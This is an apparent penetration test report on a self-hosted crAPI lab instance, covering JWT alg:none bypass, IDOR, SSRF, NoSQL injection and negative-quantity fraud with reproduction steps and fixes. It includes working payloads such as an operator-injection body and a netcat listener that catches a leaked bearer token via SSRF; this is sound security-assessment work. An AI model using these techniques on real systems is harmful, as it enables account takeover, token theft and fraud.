crAPI API Penetration Test — Assessment Report

> **Status:** v1.0 — 7 confirmed findings · **Assessor:** Akash Govind · **Date:** 2026-10-21

---

1. Executive Summary

Testing the self-hosted crAPI instance against the OWASP API Security Top 10 (2023) produced seven confirmed findings: one Critical, two High, four Medium. The Critical is a JWT `alg:none` authentication bypass (F-003) that forges a session for any user. Authorization is broken systemically — three BOLA issues (F-001, F-002, F-004) expose other users' orders, reports, and PDFs by enumerating sequential IDs or filenames. SSRF (F-007) leaks a bearer token to an attacker host, NoSQL injection (F-006) bypasses coupon validation, and a negative-quantity order (F-005) grants free credit. The dominant themes are missing object-level authorization and unverified trust in client-supplied data.

Critical	High	Medium	Low	Info
1	2	4	0	0

---

2. Scope

Target	OWASP crAPI, self-hosted Docker (local lab)
API base	`http://localhost:8888` · MailHog `http://localhost:8025`
Accounts	Attacker + victim, both tester-controlled
In scope	identity, workshop, community APIs + observed infra endpoints
Out of scope	Non-localhost hosts, host OS, DoS, destructive testing
Authorization	Self-owned instance; testing authorized by the operator

---

3. Methodology

Framework: **OWASP API Security Top 10 (2023)**. Each issue: inventory → confirm with a reproducible

request/response (timestamped) → classify → full **CVSS 3.1** vector → root cause + fix.

CVSS scores assume a **production** deployment and measure technical severity; the local lab lowers real-world risk. Inventory and raw evidence live in `endpoints.md` and `evidence.md`.

---

4. Findings Summary

#	Title	Class	CVSS 3.1	Severity
F-001	IDOR on order details (`order_id`)	API1 BOLA	6.5	Medium
F-002	IDOR on mechanic report (`report_id`)	API1 BOLA	6.5	Medium
F-003	JWT `alg:none` — auth bypass / account takeover	API2 Broken Auth	9.1	Critical
F-004	Unauthorized report download (`filename`)	API1 BOLA	6.5	Medium
F-005	Negative order quantity → free credit	API6 Business Flows	6.5	Medium
F-006	NoSQL injection in coupon validation	CWE-943	8.1	High
F-007	SSRF via `mechanic_api` + token leak	API7 SSRF	8.5	High

---

5. Detailed Findings

F-003 · JWT `alg:none` — authentication bypass / account takeover

- **Class:** API2 Broken Authentication · **Severity:** 9.1 Critical
- **CVSS:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`
- **Affected:** identity service; demonstrated on `GET /identity/api/v2/user/dashboard`
- **What:** The API accepts unsigned `{"alg":"none"}` JWTs and trusts the `sub` claim, so any user's session can be forged.
- **Repro:** Forge a token (`alg:none`, `sub` = target email, empty signature) → send as Bearer to

`/dashboard`.

- **Evidence:** `sub=ram123@gmail.com` → ram (id 8); `sub=suman@gmail.com` → suman (id 9, credit 100). No credentials used. (`evidence.md` F-003)
- **Impact:** Full takeover of any account whose email is known or enumerable.
- **Root cause:** No algorithm allowlist; unsigned tokens accepted.
- **Fix:** Verify RS256 signatures against the server public key; reject any other `alg`, never `none`.

F-007 · SSRF via `mechanic_api`, with bearer-token leak

- **Class:** API7 SSRF · **Severity:** 8.5 High
- **CVSS:** `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N`
- **Affected:** `POST /workshop/api/merchant/contact_mechanic` (`mechanic_api` field)
- **What:** The endpoint fetches the attacker-supplied `mechanic_api` URL server-side with no allowlist, and forwards the caller's `Authorization` token.
- **Repro:** Listen with `nc -lvnp 9000` → POST with `"mechanic_api":"http://172.17.0.1:9000/ssrf-test"`.
- **Evidence:** Listener received a request from app container `172.19.0.10` (`python-requests/2.30.0`) carrying `Authorization: Bearer <token>`. (`evidence.md` F-007)
- **Impact:** Server issues requests to arbitrary hosts and leaks a valid bearer token to an attacker endpoint.
- **Root cause:** User-supplied URL fetched without an allowlist; auth header forwarded.
- **Fix:** Allowlist destination hosts; block internal/loopback ranges after DNS resolution; never forward `Authorization`.
- **Caveat:** Callback to tester's listener proven; internal-only service reach not demonstrated.

F-006 · NoSQL operator injection in coupon validation

- **Class:** CWE-943 NoSQL Injection (API8:2019; no injection category in API Top 10 2023)
- **Severity:** 8.1 High · **CVSS:** `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N`
- **Affected:** `POST /community/api/v2/coupon/validate-coupon`
- **What:** `coupon_code` reaches a MongoDB query untyped; an operator object bypasses exact match.
- **Repro:** `{"coupon_code":{"$ne":"x"}}` → 200 with a valid coupon.
- **Evidence:** `{"coupon_code":"TRAC075","amount":"75",...}`. (`evidence.md` F-006)
- **Impact:** Validation bypass → recover valid coupons and enumerate the coupon collection.
- **Root cause:** User JSON used in a query without type validation.
- **Fix:** Require `coupon_code` to be a string; reject non-string types; block operator injection in the driver/ODM.

- **Caveat:** Confidentiality (C:H) proven; integrity (redeeming for credit) inferred.

F-001 · IDOR on order details

- **Class:** API1 BOLA · **Severity:** 6.5 Medium
- **CVSS:** `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N`
- **Affected:** `GET /workshop/api/shop/orders/{id}` (UI `/orders?order_id=`)
- **What:** Orders are returned by sequential integer ID without an ownership check.
- **Repro:** As ram, `order_id=6` = own; `order_id=5` = another user's order.
- **Evidence:** `order_id=5` → billed to `admin@example.com`, phone, item, totals. (`evidence.md` F-001)
- **Impact:** Any user can read every customer's order details by enumerating IDs.
- **Root cause:** No object-level authorization on the order.
- **Fix:** Enforce `order.user == request.user` (else 403/404); don't gate access on sequential IDs.

F-002 · IDOR on mechanic service report

- **Class:** API1 BOLA · **Severity:** 6.5 Medium
- **CVSS:** `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N`
- **Affected:** `GET /workshop/api/mechanic/mechanic_report?report_id={id}` (UI `/service-report?id=`)
- **What:** Reports are returned by sequential ID without an ownership check.
- **Repro:** As ram, `id=6` = own; `id=5` = another user's report.
- **Evidence:** `id=5` → owner `adam007@example.com`, mechanic `james@example.com`, VIN `7ECOX34KJTV359804`, phone. (`evidence.md` F-002)
- **Impact:** Any user can read every service report — owner PII, mechanic, and VIN.
- **Root cause:** No object-level authorization on the report.
- **Fix:** Enforce ownership server-side; don't key access on sequential IDs.

F-004 · Unauthorized report download via predictable filename

- **Class:** API1 BOLA · **Severity:** 6.5 Medium
- **CVSS:** `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N`
- **Affected:** `GET /workshop/api/mechanic/download_report?filename={name}`
- **What:** Report PDFs are served by predictable filename (`report_<n>`) without an ownership check.
- **Repro:** Same ram token: `filename=report_6` = own; `filename=report_5` = adam007's PDF.
- **Evidence:** Burp, ram token (`sub=ram123@gmail.com`) → both 200; `report_5` PDF = `adam007@example.com`. (`evidence.md` F-004)
- **Impact:** Any user can download every report PDF — owner PII, mechanic, VIN — by guessing

filenames.

- **Root cause:** No ownership check; predictable filenames.
- **Fix:** Verify report ownership before serving; use non-guessable IDs; don't pass user filenames to the file layer.
- **Caveat:** BOLA, not path traversal — no directory escape demonstrated.

F-005 · Negative order quantity increases account credit

- **Class:** API6 Unrestricted Access to Sensitive Business Flows · **Severity:** 6.5 Medium
- **CVSS:** `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N`
- **Affected:** `POST /workshop/api/shop/orders`
- **What:** The order flow computes `charge = price × quantity` without rejecting non-positive quantities, so a negative quantity adds credit.
- **Repro:** Place an order with `quantity = -1` on a $10 item → charge −10 → credit +10.
- **Evidence:** `credit:100.0` before → `credit:110.0` after an order. (`evidence.md` F-005)
- **Impact:** Any user can grant themselves unlimited store credit.
- **Root cause:** No validation that quantity is a positive integer; charge not floored at 0.
- **Fix:** Reject `quantity <= 0`; recompute price server-side; clamp `charge >= 0`.
- **Caveat:** Credit delta proven; the order body showing `quantity = -1` not yet captured.

---

6. Appendix — Endpoint Inventory

Full inventory with per-route status in `endpoints.md`.